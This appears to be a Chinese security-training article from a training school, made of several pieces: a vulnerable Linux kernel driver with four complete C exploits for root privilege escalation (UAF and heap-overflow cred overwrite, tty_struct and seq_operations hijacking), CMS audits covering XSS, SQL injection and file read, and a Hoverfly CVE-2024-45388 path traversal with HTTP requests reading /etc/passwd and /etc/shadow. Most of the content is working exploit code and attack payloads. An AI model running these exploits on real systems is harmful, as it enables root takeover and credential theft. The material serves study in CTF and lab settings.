if (result < 0) return result;
bof_class = class_create(THIS_MODULE, "bof");
device_create(bof_class, NULL, devno, NULL, "bof");
cdev_init(&cdev, &bof_fops);
cdev.owner = THIS_MODULE;
cdev_add(&cdev, devno, 1);
return 0;
}
static void bof_exit(void) {
cdev_del(&cdev);
device_destroy(bof_class, MKDEV(bof_major, 0));
class_destroy(bof_class);
unregister_chrdev_region(MKDEV(bof_major, 0), 1);
printk("bof exit success\n");
}
MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");
module_init(bof_init);
module_exit(bof_exit);
boot.sh
这道题是多核多线程。并且开启了smep和smap。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.cpio \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap \
kernel Use After Free
利用思路
cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/wait.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
unsigned long idx;// 表示 ptr 数组的 索引
};
int main() {
int fd = open("dev/bof", O_RDWR);
struct param p = {0xa8, malloc(0xa8), 1};
ioctl(fd, BOF_MALLOC, &p);
ioctl(fd, BOF_FREE, &p);
int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。
if (pid < 0) {
puts("[-]fork error");
return -1;
}
if (pid == 0) {
p.buf = malloc(p.len = 0x30);
memset(p.buf, 0, p.len);
ioctl(fd, BOF_EDIT, &p); // 修改用户ID
if (getuid() == 0) {
puts("[+]root success");
system("/bin/sh");
} else {
puts("[-]root failed");
}
} else {
wait(NULL);
}
close(fd);
return 0;
}
但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。
// kernel version == 4.4.72
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
}
// kernel version == 4.5
void __init cred_init(void)
{
/* allocate a slab in which we can store credentials */
cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
}
heap overflow
溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。
利用思路
多申请几个0xa8大小的内存块,将原有混乱的freelist 变为地址连续的 freelist。
利用堆溢出,修改被重新申请作为cred的ptr[5]凭证区为0。
exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <sys/wait.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
const int BOF_NUM = 10;
int main(void) {
int bof_fd = open("/dev/bof", O_RDWR);
if (bof_fd == -1) {
puts("[-] Failed to open bof device.");
exit(-1);
}
struct param p = {0xa8, malloc(0xa8), 0};
// 让驱动分配 0x40 个 0xa8 的内存块
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, 5, &p); // malloc
}
puts("[*] clear heap done");
// 让驱动分配 10 个 0xa8 的内存块
for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {
ioctl(bof_fd, 5, &p); // malloc
}
p.idx = 5;
ioctl(bof_fd, 7, &p); // free
// 调用 fork 分配一个 cred结构体
int pid = fork();
if (pid < 0) {
puts("[-] fork error");
exit(-1);
}
// 此时 ptr[4] 和 cred相邻
// 溢出 修改 cred 实现提权
p.idx = 4, p.len = 0xc0 + 0x30;
memset(p.buf, 0, p.len);
ioctl(bof_fd, 8, &p);
if (!pid) {
//一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
size_t uid = getuid();
printf("[*] uid: %zx\n", uid);
if (!uid) {
puts("[+] root success");
// 权限修改完毕,启动一个shell,就是root的shell了
system("/bin/sh");
} else {
puts("[-] root fail");
}
} else {
wait(0);
}
return 0;
}
tty_struct 劫持
boot.sh
这道题gadget较少,我们就关了smep保护。
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic
利用思路
在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,
ptmx_open (drivers/tty/pty.c)
-> tty_init_dev (drivers/tty/tty_io.c)
-> alloc_tty_struct (drivers/tty/tty_io.c)
tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401
// sizeof(struct tty_struct) == 0x2e0
/* tty magic number */
#define TTY_MAGIC 0x5401
struct tty_struct {
...
const struct tty_operations *ops;
...
}
struct tty_operations {
...
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
};
使用 tty 设备的前提是挂载了 ptmx 设备。
mkdir /dev/pts
mount -t devpts none /dev/pts
chmod 777 /dev/ptmx
所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。
exp
#include <sys/wait.h>
#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340;
size_t init_cred = 0xFFFFFFFF81E496C0;
void get_shell()
{
system("/bin/sh");
}
unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_rsp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
size_t kernel_offset;
void get_root() {
// 通过栈上残留地址来绕过 KASLR
__asm__(
"mov rbx, [rsp + 8];"
"mov kernel_offset, rbx;"
);
kernel_offset -= 0xffffffff814f604f;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_rsp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx; // 表示 ptr 数组的 索引
};
int main(int argc, char const *argv[])
{
save_status();
size_t fake_tty_ops[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
get_root
};
// len buf idx
struct param p = {0x2e0, malloc(0x2e0), 0};
printf("[*]p_addr==>%p\n", &p);
int bof_fd = open("/dev/bof", O_RDWR);
p.len = 0x2e0;
ioctl(bof_fd, BOF_MALLOC, &p);
memset(p.buf, '\xff', 0x2e0);
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(bof_fd, BOF_FREE, &p);
int ptmx_fd = open("/dev/ptmx", O_RDWR);
p.len = 0x20;
ioctl(bof_fd, BOF_READ, &p);
printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);
printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);
*(size_t *)&p.buf[0x18] = &fake_tty_ops;
ioctl(bof_fd, BOF_EDIT, &p);
ioctl(ptmx_fd, 0, 0);
return 0;
}
seq_operations 劫持
boot.sh
#!/bin/bash
qemu-system-x86_64 \
-initrd rootfs.img \
-kernel bzImage \
-m 512M \
-nographic \
-append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \
-monitor /dev/null \
-s \
-cpu kvm64 \
-smp cores=1,threads=1 \
--nographic
利用思路
seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。
ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
struct seq_file *m = file->private_data;
...
p = m->op->start(m, &pos);
...
当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。
exp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
struct param {
size_t len; // 内容长度
char *buf; // 用户态缓冲区地址
long long idx;// 表示 ptr 数组的 索引
};
const int SEQ_NUM = 0x200;
const int DATA_SIZE = 0x20 * 8;
#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_EDIT 8
#define BOF_READ 9
void get_shell() {
system("/bin/sh");
}
size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}
void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340;
void *init_cred = (void *) 0xFFFFFFFF81E496C0;
size_t kernel_offset;
void get_root() {
// 通过栈上的残留值绕过KASLR。
__asm__(
"mov rax, [rsp + 8];"
"mov kernel_offset, rax;"
);
kernel_offset -= 0xffffffff81229378;
commit_creds = (void *) ((size_t) commit_creds + kernel_offset);
init_cred = (void *) ((size_t) init_cred + kernel_offset);
commit_creds(init_cred);
__asm__(
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
);
}
int main() {
save_status();
int bof_fd = open("dev/bof", O_RDWR);
if (bof_fd < 0) {
puts("[-] Failed to open bof.");
exit(-1);
}
struct param p = {0x20, malloc(0x20), 0};
for (int i = 0; i < 0x40; i++) {
ioctl(bof_fd, BOF_MALLOC, &p);
}
memset(p.buf, '\xff', p.len);
ioctl(bof_fd, BOF_EDIT, &p);
// 大量喷洒 seq_ops 结构体。
int seq_fd[SEQ_NUM];
for (int i = 0; i < SEQ_NUM; i++) {
seq_fd[i] = open("/proc/self/stat", O_RDONLY);
if (seq_fd[i] < 0) {
puts("[-] Failed to open stat.");
}
}
puts("[*] seq_operations spray finished.");
// 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。
p.len = DATA_SIZE;
p.buf = malloc(DATA_SIZE);
p.idx = 0;
for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {
*(size_t *) &p.buf[i] = (size_t) get_root;
}
ioctl(bof_fd, BOF_EDIT, &p);
puts("[*] Heap overflow finished.");
for (int i = 0; i < SEQ_NUM; i++) {
read(seq_fd[i], p.buf, 1);
}
return 0;
}
JFinalcms代码审计
JFinalCms是开源免费的JAVA企业网站开发建设管理系统,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码。
环境布置:IDEA打开项目,等待maven加载好。
使用phpstudy集成的mysql5.7数据库即可,导入JFinalCMS.sql数据库。
修改pom文件:
使用local9.0.90TOMCAT,JDK环境1.8。
运行TOMCAT,打开后台:
http://localhost:8081/cms_war_exploded/反射xss:
搜索/admin/login定位到代码块:
由上可见,通过getPara获取账号密码后再通过render渲染到前端页面:
再分析前端代码构造xss进行闭合:
存储xss:
前台存在留言功能,留言会被管理员审核:
登录后台,点击扩展管理,留言信息:
原理同上。
Sql注入漏洞(1):
该CMS存在很多处sql注入漏洞,大多数都是以+直接拼接sql注入语句造成,可以全局搜索+号寻找注入点。
找到以上代码块,可以直接看到title参数通过+直接拼接进入sql语句执行,于是我们继续找前端是调用的什么接口,并看看是否在接受参数时进行了过滤。
搜索findPage参数:
可以看到Contentcontroller层中存在title参数,点进去,定位到具体代码块:
可以看到调用了getPara方法获取传入的title参数,继续跟进getPara方法:
并未重写该方法,只是简单获取参数,未进行任何过滤,回到原来的controller层,向上翻,找到接口调用,数据包如下:
POST /cms_war/admin/content/data HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0)
Gecko/20100101 Firefox/130.0
Accept: text/html, \*/\*; q=0.01
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 47
Origin: http://localhost:8081
Connection: keep-alive
Referer: http://localhost:8081/cms_war/admin/content
Cookie: JSESSIONID=EF8BB53892173B8A4577EFC32D0215BA;
listQuery=categoryId%3D&title%3D&sorts%3D&pageNumber%3D1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
categoryId=&title=%E7%BD%91&sorts=&pageNumber=1
将localhost替换为物理机IP放入sqlmap:
证明存在sql注入漏洞,其对应前端功能如下:
Sql注入漏洞(2):
前台搜索框处也存在sql注入漏洞,只不过此处的调用过程较难找到。
如上图搜索关键字search定位到代码块:
仔细分析如上代码,我无法追踪keyword的具体调用。
以上代码是通过setAttr方法直接存储到当前请求的属性当中。我对keyword处打断点调试也未理清楚它后续是如何调用的。
于是再换一种思路,直接全局搜索keyword:
定位到具体代码,但无法确定是否是调用的此处findPage代码来构造sql。
搜索findPage也没有明确思路。
于是改变思路,由于keyword关键字最终是通过模板template渲染调用。
于是在template处挨个点进去找类似功能代码:
最终定位到代码块:
根据注释明确此处代码是根据不同关键词进行搜索,包含关键词keyword,继续查看keyword调用链:
确定是通过调用findPage,传入keyword参数来调用数据:
用sqlmap验证keyword参数:
任意文件读取:
翻找controller层代码,找到文件下载代码块:
可见未对传入的fileKey参数进行过滤,直接拼接进行文件读取。
(且我在翻找filter过滤器后,发现似乎 并未对该路径进行权限校验,可进行未授权调用接口)
Hoverfly 任意文件读取漏洞(CVE-2024-45388)
漏洞简介
Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径,从而访问任何任意文件。
环境搭建
我们还是利用 docker 来搭建环境
https://hub.docker.com/r/spectolabs/hoverfly/tagsdocker pull spectolabs/hoverfly:v1.10.2
docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2
漏洞复现
构造数据包
POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
PUT /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}}
漏洞分析
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes
定义了 SimulationHandler 的路由注册方法,路由的每个 HTTP 方法(如 GET 、PUT 、POST 、DELETE 等)都有一个对应的处理函数 (this.Get 、this.Put 、this.Post 、this.Delete 、this.Options 、this.GetSchema )。这些函数处理实际的业务逻辑。
GET /api/v2/simulation: 处理获取模拟数据。
PUT /api/v2/simulation: 处理更新模拟数据。
POST /api/v2/simulation: 处理创建新的模拟数据。
DELETE /api/v2/simulation: 处理删除模拟数据。
OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。
GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。
OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。
POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取
hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation
第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。
hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation
hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles
hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile
这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../ 实现跨越目录的读取文件
我们看到最新版已经对传入的参数进行了处理
hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile
hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath
这个 ResolveAndValidatePath 函数用于从一个绝对路径(absBasePath )解析一个相对路径(relativePath ),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".." ),并且解析后的路径仍然在基路径之下。
一个0day的开端-失败的man与nday
最近在审计java的CMS,跟着文章进行nday审计,找准目标newbee-mall Version1.0.0(新蜂商城系统),并跟着网上文章进行审计:
https://blog.csdn.net/m0_46317063/article/details/131538307下载唯一的版本,且源码README中版本也对的上,但没想到nday全部复现失败,但在一番审计后找到了一个新的漏洞点:ssrf,且在前台可以被用户触发。
失败的man与nday:
失败的sql注入漏洞:
(此漏洞原本可以在前台与后台进行sql注入攻击)
分析文章中有两sql注入漏洞,是由于引入mybatis依赖导致,但在我下的版本中根据关键字符${找不到任何的注入点,经过与分析文章对比发现所有注入点全部由${改成了#{由此完成修复。
失败的权限绕过:
(此漏洞原本可以在admin登录后台通过/;/admin/test完成权限绕过)
复现文章写到以request.getRequestURI()获取路径获取路径后再进入if判断:
但我下载的版本进行了修复:将获取前端传输的路径方法改为了:getServletPath()从而完成修复。
两种方法的不同具体分析可以参考如下文章:
https://forum.butian.net/share/3730失败的越权漏洞:
(此漏洞原本可以根据传入的id参数越权修改他人信息。)
定位到具体代码:
此处代码与复现文章一样,都是先创建一个NewBeeMallUserVO对象,再通过是否为空判断信息修改是否成功。
真正修改信息的代码在updateUserInfo方法里面,于是跟进该方法实现处:
发现跟到了接口,于是我们继续跟进,找该接口的实现类:
跟进到如下类,找到具体实现的代码块:
复现文章代码在进入if判断前只有一行代码,并且代码逻辑是从前端传入的id值进行信息修改,但可以看到我下载的代码有两行:
NewBeeMallUserVO userTemp = (NewBeeMallUserVO)httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY);
首先通过http.Session获取当前用户,再赋给创建的userTemp对象。
MallUser userFromDB =mallUserMapper.selectByPrimaryKey(userTemp.getUserId());
再从userTemp对象中获取id值进行信息修改,而非从前端请求中获取参数id的值,来完成漏洞修复。
0day的发现:
登录后台,点击修改或者添加商品:
随意传入图片后点击保存并抓包。
将POST数据包如上两个参数修改为dnslog地址,放包,在商城前台搜索该商品名称。
点击访问,dns平台出现记录。
漏洞代码分析:
先看看商品信息存储过程:
根据接口定位代码块:
可以发现在接受参数后进行是否为空判断后进入了核心方法updateNewBeeMallGoods,跟进:
跟到接口后再找到接口实现类,最后定位到更新信息代码块。
可以看到,仅仅对传入参数值进行为空判断和相同判断后,便调用set方法进行存储。
接下来再看看商品信息调用代码链。
根据触发漏洞的数据包接口定位代码块:
此处代码根据传入goodsid参数,将商品渲染到前端,也就是搜索商品后,见到商品那刻触发漏洞。
对接受goodsid参数是否<1判断后进入取商品信息代码。
跟进getNewBeeMallGoodsById方法,找到方法接口后再找接口实现类,再找方法:
发现goodsid参数传入selectByPrimaryKey方法。
该方法通过数据访问对象(DAO)goodMapper调用,且在方法最前处由NewBeeMallGoodsMapper对其定义:
全局搜索,找到对应xml文件:
发现通过id参数对数据库操作,取出goodsCoverImg与goodsCarousel参数。
回到最先前的类:
此时goods对象已经获取商品相关参数值。
再进入if判断商品是否上架,上架则进入下一轮代码,将商品信息封装为视图模型,找到NewBeeMallGoodsDetailVO类,发现只接受了goodsCoverImg参数,也就是先前抓包修改处只用修改该参数即可:
最后返回视图名称"mall/detail",表示渲染商品详情页面:
由于存储时未做任何过滤,进行视图层渲染时直接拿出goodsCoverImg参数放到前端,导致用户一旦访问商品便触发该漏洞。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

